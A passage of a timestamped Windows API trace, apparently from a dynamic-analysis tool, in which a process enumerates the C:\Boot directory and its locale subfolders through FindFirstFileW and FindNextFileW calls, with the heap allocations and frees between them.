	[0070.940] FindNextFileW (in: hFindFile=0x3121790, lpFindFileData=0x2e8fa7c | out: lpFindFileData=0x2e8fa7c*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xc4c800b6, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xd36fe848, ftLastAccessTime.dwHighDateTime=0x1d5d815, ftLastWriteTime.dwLowDateTime=0xd36fe848, ftLastWriteTime.dwHighDateTime=0x1d5d815, nFileSizeHigh=0x0, nFileSizeLow=0xb000, dwReserved0=0x0, dwReserved1=0x240000, cFileName="BCD", cAlternateFileName="")) returned 1
	[0070.940] FindNextFileW (in: hFindFile=0x3121790, lpFindFileData=0x2e8fa7c | out: lpFindFileData=0x2e8fa7c*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xc4c800b6, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc4c800b6, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc4c800b6, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x10000, dwReserved0=0x0, dwReserved1=0x240000, cFileName="BCD.LOG", cAlternateFileName="")) returned 1
	[0070.940] FindNextFileW (in: hFindFile=0x3121790, lpFindFileData=0x2e8fa7c | out: lpFindFileData=0x2e8fa7c*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xc4c800b6, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc4c800b6, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc4c800b6, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="BCD.LOG1", cAlternateFileName="BCD~1.LOG")) returned 1
	[0070.940] FindNextFileW (in: hFindFile=0x3121790, lpFindFileData=0x2e8fa7c | out: lpFindFileData=0x2e8fa7c*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xc4c800b6, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc4c800b6, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc4c800b6, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="BCD.LOG2", cAlternateFileName="BCD~2.LOG")) returned 1
	[0070.941] FindNextFileW (in: hFindFile=0x3121790, lpFindFileData=0x2e8fa7c | out: lpFindFileData=0x2e8fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc47952ba, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc47bb525, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc47bb525, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="bg-BG", cAlternateFileName="")) returned 1
	[0070.941] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x0, Size=0xfffe) returned 0x3d50050
	[0070.941] FindFirstFileW (in: lpFileName="C:\\Boot\\bg-BG\\*", lpFindFileData=0x2e8f800 | out: lpFindFileData=0x2e8f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc47952ba, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc47bb525, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc47bb525, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3121850
	[0070.950] FindNextFileW (in: hFindFile=0x3121850, lpFindFileData=0x2e8f800 | out: lpFindFileData=0x2e8f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc47952ba, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc47bb525, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc47bb525, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0070.950] FindNextFileW (in: hFindFile=0x3121850, lpFindFileData=0x2e8f800 | out: lpFindFileData=0x2e8f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc47bb525, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc47bb525, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x210bba74, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12f60, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1
	[0070.950] FindNextFileW (in: hFindFile=0x3121850, lpFindFileData=0x2e8f800 | out: lpFindFileData=0x2e8f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc47bb525, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc47bb525, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x210bba74, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12f60, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0
	[0070.956] FindClose (in: hFindFile=0x3121850 | out: hFindFile=0x3121850) returned 1
	[0070.956] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3d50050 | out: hHeap=0x500000) returned 1
	[0070.956] FindNextFileW (in: hFindFile=0x3121790, lpFindFileData=0x2e8fa7c | out: lpFindFileData=0x2e8fa7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef4e6d79, ftCreationTime.dwHighDateTime=0x1d3273d, ftLastAccessTime.dwLowDateTime=0xef4e6d79, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2d79a60, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0x175a0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="bootspaces.dll", cAlternateFileName="BOOTSP~1.DLL")) returned 1
	[0070.957] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3d50050 | out: hHeap=0x500000) returned 1
	[0070.957] FindNextFileW (in: hFindFile=0x3121790, lpFindFileData=0x2e8fa7c | out: lpFindFileData=0x2e8fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc47e189c, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa0008dbb, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef5252b3, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="da-DK", cAlternateFileName="")) returned 1
	[0070.959] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3d50050 | out: hHeap=0x500000) returned 1
	[0070.959] FindNextFileW (in: hFindFile=0x3121790, lpFindFileData=0x2e8fa7c | out: lpFindFileData=0x2e8fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48079da, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa0009692, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef538bee, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="de-DE", cAlternateFileName="")) returned 1
	[0070.959] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3d50050 | out: hHeap=0x500000) returned 1
	[0070.959] FindNextFileW (in: hFindFile=0x3121790, lpFindFileData=0x2e8fa7c | out: lpFindFileData=0x2e8fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc482dc87, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef555ff8, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef555ff8, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="el-GR", cAlternateFileName="")) returned 1
	[0070.960] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3d50050 | out: hHeap=0x500000) returned 1
	[0070.960] FindNextFileW (in: hFindFile=0x3121790, lpFindFileData=0x2e8fa7c | out: lpFindFileData=0x2e8fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc482dc87, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc482dc87, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc482dc87, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="en-GB", cAlternateFileName="")) returned 1
	[0070.964] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3d50050 | out: hHeap=0x500000) returned 1
	[0070.964] FindNextFileW (in: hFindFile=0x3121790, lpFindFileData=0x2e8fa7c | out: lpFindFileData=0x2e8fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc482dc87, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef57d0f5, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef57d0f5, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="en-US", cAlternateFileName="")) returned 1
	[0070.964] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3d50050 | out: hHeap=0x500000) returned 1
	[0070.964] FindNextFileW (in: hFindFile=0x3121790, lpFindFileData=0x2e8fa7c | out: lpFindFileData=0x2e8fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4853f40, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa000b9ad, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef586d37, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="es-ES", cAlternateFileName="")) returned 1
	[0070.965] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3d50050 | out: hHeap=0x500000) returned 1
	[0070.965] FindNextFileW (in: hFindFile=0x3121790, lpFindFileData=0x2e8fa7c | out: lpFindFileData=0x2e8fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4853f40, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa000c12e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xc4853f40, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="es-MX", cAlternateFileName="")) returned 1
	[0070.966] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3d50050 | out: hHeap=0x500000) returned 1
	[0070.966] FindNextFileW (in: hFindFile=0x3121790, lpFindFileData=0x2e8fa7c | out: lpFindFileData=0x2e8fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc487a0b9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc487a0b9, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc487a0b9, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="et-EE", cAlternateFileName="")) returned 1
	[0070.966] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3d50050 | out: hHeap=0x500000) returned 1
	[0070.966] FindNextFileW (in: hFindFile=0x3121790, lpFindFileData=0x2e8fa7c | out: lpFindFileData=0x2e8fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc487a0b9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa000cf3a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef59a5b1, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="fi-FI", cAlternateFileName="")) returned 1
	[0070.968] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3d50050 | out: hHeap=0x500000) returned 1
	[0070.968] FindNextFileW (in: hFindFile=0x3121790, lpFindFileData=0x2e8fa7c | out: lpFindFileData=0x2e8fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc49ab3c7, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa0109451, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef999ae4, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Fonts", cAlternateFileName="")) returned 1
	[0070.977] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3d50050 | out: hHeap=0x500000) returned 1
	[0070.977] FindNextFileW (in: hFindFile=0x3121790, lpFindFileData=0x2e8fa7c | out: lpFindFileData=0x2e8fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc487a0b9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48a0490, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc48a0490, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="fr-CA", cAlternateFileName="")) returned 1
	[0070.978] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3d50050 | out: hHeap=0x500000) returned 1
	[0070.978] FindNextFileW (in: hFindFile=0x3121790, lpFindFileData=0x2e8fa7c | out: lpFindFileData=0x2e8fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48a0490, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010bc12, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef5ade2b, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="fr-FR", cAlternateFileName="")) returned 1
	[0070.978] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3d50050 | out: hHeap=0x500000) returned 1
	[0070.978] FindNextFileW (in: hFindFile=0x3121790, lpFindFileData=0x2e8fa7c | out: lpFindFileData=0x2e8fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48a0490, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48a0490, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc48a0490, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="hr-HR", cAlternateFileName="")) returned 1
	[0070.979] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3d50050 | out: hHeap=0x500000) returned 1
	[0070.980] FindNextFileW (in: hFindFile=0x3121790, lpFindFileData=0x2e8fa7c | out: lpFindFileData=0x2e8fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48a0490, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010c5ad, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef5c171b, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="hu-HU", cAlternateFileName="")) returned 1
	[0070.980] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3d50050 | out: hHeap=0x500000) returned 1
	[0070.980] FindNextFileW (in: hFindFile=0x3121790, lpFindFileData=0x2e8fa7c | out: lpFindFileData=0x2e8fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48a0490, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010ccad, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef5d8ab4, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="it-IT", cAlternateFileName="")) returned 1
	[0071.004] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3d50050 | out: hHeap=0x500000) returned 1
	[0071.005] FindNextFileW (in: hFindFile=0x3121790, lpFindFileData=0x2e8fa7c | out: lpFindFileData=0x2e8fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48c6596, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010d0c0, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef5ed6c6, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="ja-JP", cAlternateFileName="")) returned 1
	[0071.069] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3d50050 | out: hHeap=0x500000) returned 1
	[0071.069] FindNextFileW (in: hFindFile=0x3121790, lpFindFileData=0x2e8fa7c | out: lpFindFileData=0x2e8fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48c6596, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef5fc210, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef5fc210, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="ko-KR", cAlternateFileName="")) returned 1
	[0071.070] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3d50050 | out: hHeap=0x500000) returned 1
	[0071.070] FindNextFileW (in: hFindFile=0x3121790, lpFindFileData=0x2e8fa7c | out: lpFindFileData=0x2e8fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48ec805, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48ec805, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc48ec805, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="lt-LT", cAlternateFileName="")) returned 1
	[0071.070] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3d50050 | out: hHeap=0x500000) returned 1
	[0071.070] FindNextFileW (in: hFindFile=0x3121790, lpFindFileData=0x2e8fa7c | out: lpFindFileData=0x2e8fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48ec805, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48ec805, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc48ec805, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="lv-LV", cAlternateFileName="")) returned 1
	[0071.071] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3d50050 | out: hHeap=0x500000) returned 1
	[0071.071] FindNextFileW (in: hFindFile=0x3121790, lpFindFileData=0x2e8fa7c | out: lpFindFileData=0x2e8fa7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc48ec805, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef6196d8, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xfbcf473f, ftLastWriteTime.dwHighDateTime=0x1d2fa06, nFileSizeHigh=0x0, nFileSizeLow=0xc63a0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="memtest.exe", cAlternateFileName="")) returned 1
	[0071.073] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3d50050 | out: hHeap=0x500000) returned 1
	[0071.073] FindNextFileW (in: hFindFile=0x3121790, lpFindFileData=0x2e8fa7c | out: lpFindFileData=0x2e8fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4912aed, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010e4fa, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef6407cf, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="nl-NL", cAlternateFileName="")) returned 1
	[0071.073] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3d50050 | out: hHeap=0x500000) returned 1
	[0071.073] FindNextFileW (in: hFindFile=0x3121790, lpFindFileData=0x2e8fa7c | out: lpFindFileData=0x2e8fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4912aed, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef65403a, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef65403a, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="pl-PL", cAlternateFileName="")) returned 1
	[0071.074] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3d50050 | out: hHeap=0x500000) returned 1
	[0071.074] FindNextFileW (in: hFindFile=0x3121790, lpFindFileData=0x2e8fa7c | out: lpFindFileData=0x2e8fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4912aed, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef6678d6, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef6678d6, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="pt-BR", cAlternateFileName="")) returned 1
	[0071.088] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3d50050 | out: hHeap=0x500000) returned 1
	[0071.088] FindNextFileW (in: hFindFile=0x3121790, lpFindFileData=0x2e8fa7c | out: lpFindFileData=0x2e8fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010f167, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef6714dc, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="pt-PT", cAlternateFileName="")) returned 1
	[0071.102] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3d50050 | out: hHeap=0x500000) returned 1
	[0071.102] FindNextFileW (in: hFindFile=0x3121790, lpFindFileData=0x2e8fa7c | out: lpFindFileData=0x2e8fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010f640, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef684d85, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="qps-ploc", cAlternateFileName="")) returned 1
	[0071.102] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3d50050 | out: hHeap=0x500000) returned 1
	[0071.102] FindNextFileW (in: hFindFile=0x3121790, lpFindFileData=0x2e8fa7c | out: lpFindFileData=0x2e8fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4c33ce4, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa01ab61e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef9abff9, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Resources", cAlternateFileName="RESOUR~1")) returned 1
	[0071.103] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3d83958 | out: hHeap=0x500000) returned 1
	[0071.103] FindNextFileW (in: hFindFile=0x3121190, lpFindFileData=0x2e8f800 | out: lpFindFileData=0x2e8f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4c33ce4, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa01ac01e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef9baa67, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 0
	[0071.103] FindClose (in: hFindFile=0x3121190 | out: hFindFile=0x3121190) returned 1
	[0071.103] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3d50050 | out: hHeap=0x500000) returned 1
	[0071.103] FindNextFileW (in: hFindFile=0x3121790, lpFindFileData=0x2e8fa7c | out: lpFindFileData=0x2e8fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc4938cb0, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc4938cb0, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="ro-RO", cAlternateFileName="")) returned 1
	[0071.104] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3d50050 | out: hHeap=0x500000) returned 1
	[0071.104] FindNextFileW (in: hFindFile=0x3121790, lpFindFileData=0x2e8fa7c | out: lpFindFileData=0x2e8fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef698608, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef698608, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="ru-RU", cAlternateFileName="")) returned 1
	[0071.105] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3d50050 | out: hHeap=0x500000) returned 1
	[0071.105] FindNextFileW (in: hFindFile=0x3121790, lpFindFileData=0x2e8fa7c | out: lpFindFileData=0x2e8fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc4938cb0, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc4938cb0, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="sk-SK", cAlternateFileName="")) returned 1
	[0071.105] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3d50050 | out: hHeap=0x500000) returned 1
